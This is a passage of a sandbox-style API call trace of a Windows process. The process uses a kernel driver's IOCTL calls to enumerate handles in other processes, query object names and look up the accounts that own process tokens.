PsAcquireProcessExitSynchronization () returned 0x0 [0075.527] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.527] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f81a20, HandleInformation=0x0) returned 0x0 [0075.527] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.527] PsReleaseProcessExitSynchronization () returned 0x2 [0075.527] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.527] ObQueryNameString (in: Object=0xfffffa8002f81a20, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.527] ObfDereferenceObject (Object=0xfffffa8002f81a20) returned 0x1 [0075.527] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.527] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.527] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.527] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.527] PsAcquireProcessExitSynchronization () returned 0x0 [0075.527] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.527] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.528] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.528] PsReleaseProcessExitSynchronization () returned 0x2 [0075.528] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.528] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037b5684, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037b5684, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.528] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4f [0075.528] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.528] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.528] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0075.528] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.528] PsAcquireProcessExitSynchronization () returned 0x0 [0075.528] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.528] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034ac070, HandleInformation=0x0) returned 0x0 [0075.528] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.528] PsReleaseProcessExitSynchronization () returned 0x2 [0075.528] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.528] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.528] ObfDereferenceObject (Object=0xfffffa80034ac070) returned 0x1 [0075.528] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.528] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.528] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.528] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.528] PsAcquireProcessExitSynchronization () returned 0x0 [0075.528] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.528] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001e73f00, HandleInformation=0x0) returned 0x0 [0075.528] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.528] PsReleaseProcessExitSynchronization () returned 0x2 [0075.528] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.528] ObQueryNameString (in: Object=0xfffff8a001e73f00, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.528] ObfDereferenceObject (Object=0xfffff8a001e73f00) returned 0x1 [0075.528] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.528] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.529] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0075.529] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.529] PsAcquireProcessExitSynchronization () returned 0x0 [0075.529] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.529] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80026e2c40, HandleInformation=0x0) returned 0x0 [0075.529] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.529] PsReleaseProcessExitSynchronization () returned 0x2 [0075.529] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.529] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.529] ObfDereferenceObject (Object=0xfffffa80026e2c40) returned 0x1 [0075.529] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.529] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.529] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0075.529] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.529] PsAcquireProcessExitSynchronization () returned 0x0 [0075.529] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.529] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003518f20, HandleInformation=0x0) returned 0x0 [0075.529] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.529] PsReleaseProcessExitSynchronization () returned 0x2 [0075.529] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.529] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800391c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.529] ObfDereferenceObject (Object=0xfffffa8003518f20) returned 0x1 [0075.529] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.529] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.529] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0075.529] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.529] PsAcquireProcessExitSynchronization () returned 0x0 [0075.529] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.529] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0075.529] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.530] PsReleaseProcessExitSynchronization () returned 0x2 [0075.530] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.530] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019be044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019be044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.530] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0075.530] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.530] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.530] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0075.530] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.530] PsAcquireProcessExitSynchronization () returned 0x0 [0075.530] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.530] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003544310, HandleInformation=0x0) returned 0x0 [0075.530] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.530] PsReleaseProcessExitSynchronization () returned 0x2 [0075.530] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.530] ObQueryNameString (in: Object=0xfffffa8003544310, ObjectNameInfo=0xfffffa80036c2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80036c2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.530] ObfDereferenceObject (Object=0xfffffa8003544310) returned 0x1 [0075.530] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.530] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.530] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0075.530] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.530] PsAcquireProcessExitSynchronization () returned 0x0 [0075.530] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.530] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0075.530] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.530] PsReleaseProcessExitSynchronization () returned 0x2 [0075.530] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.530] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.530] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0075.530] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.531] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.531] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.531] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.531] PsAcquireProcessExitSynchronization () returned 0x0 [0075.531] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.531] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0075.531] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.531] PsReleaseProcessExitSynchronization () returned 0x2 [0075.531] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.531] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8003817044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003817044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.531] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xb [0075.531] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.531] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.531] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9ac) returned 0xc0 [0075.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.531] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80022bf060, HandleInformation=0x0) returned 0x0 [0075.531] ObOpenObjectByPointer (in: Object=0xfffffa80022bf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.531] ObfDereferenceObject (Object=0xfffffa80022bf060) returned 0xf [0075.531] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa8003480780 | out: TokenHandle=0xfffffa8003480780*=0xc8) returned 0x0 [0075.531] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.531] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.531] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.531] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.533] CloseHandle (hObject=0xc8) returned 1 [0075.533] CloseHandle (hObject=0xc0) returned 1 [0075.533] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.533] PsLookupProcessByProcessId (in: ProcessId=0x9ac, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.533] PsAcquireProcessExitSynchronization () returned 0x0 [0075.533] KeStackAttachProcess (in: PROCESS=0xfffffa80022bf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80022bf060, ApcState=0xfffff880054f85d0) [0075.533] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80022be3b0, HandleInformation=0x0) returned 0x0 [0075.533] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.533] PsReleaseProcessExitSynchronization () returned 0x2 [0075.533] ObfDereferenceObject (Object=0xfffffa80022bf060) returned 0xd [0075.533] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800385f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800385f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.533] ObfDereferenceObject (Object=0xfffffa80022be3b0) returned 0x1 [0075.533] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.533] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.533] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.533] PsLookupProcessByProcessId (in: ProcessId=0x9ac, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.533] PsAcquireProcessExitSynchronization () returned 0x0 [0075.533] KeStackAttachProcess (in: PROCESS=0xfffffa80022bf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80022bf060, ApcState=0xfffff880054f85d0) [0075.533] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024df5d0, HandleInformation=0x0) returned 0x0 [0075.533] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.533] PsReleaseProcessExitSynchronization () returned 0x2 [0075.533] ObfDereferenceObject (Object=0xfffffa80022bf060) returned 0xd [0075.533] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.533] ObfDereferenceObject (Object=0xfffffa80024df5d0) returned 0x1 [0075.533] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.534] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.534] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9fc) returned 0xc0 [0075.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.534] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80024ed7d0, HandleInformation=0x0) returned 0x0 [0075.534] ObOpenObjectByPointer (in: Object=0xfffffa80024ed7d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.534] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x20 [0075.534] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa8003480780 | out: TokenHandle=0xfffffa8003480780*=0xc8) returned 0x0 [0075.534] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.534] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.534] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.534] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.535] CloseHandle (hObject=0xc8) returned 1 [0075.536] CloseHandle (hObject=0xc0) returned 1 [0075.536] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0075.536] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.536] PsAcquireProcessExitSynchronization () returned 0x0 [0075.536] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880054f85d0) [0075.536] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024f1f20, HandleInformation=0x0) returned 0x0 [0075.537] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.537] PsReleaseProcessExitSynchronization () returned 0x2 [0075.537] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0075.537] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.537] ObfDereferenceObject (Object=0xfffffa80024f1f20) returned 0x1 [0075.537] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.537] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.537] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 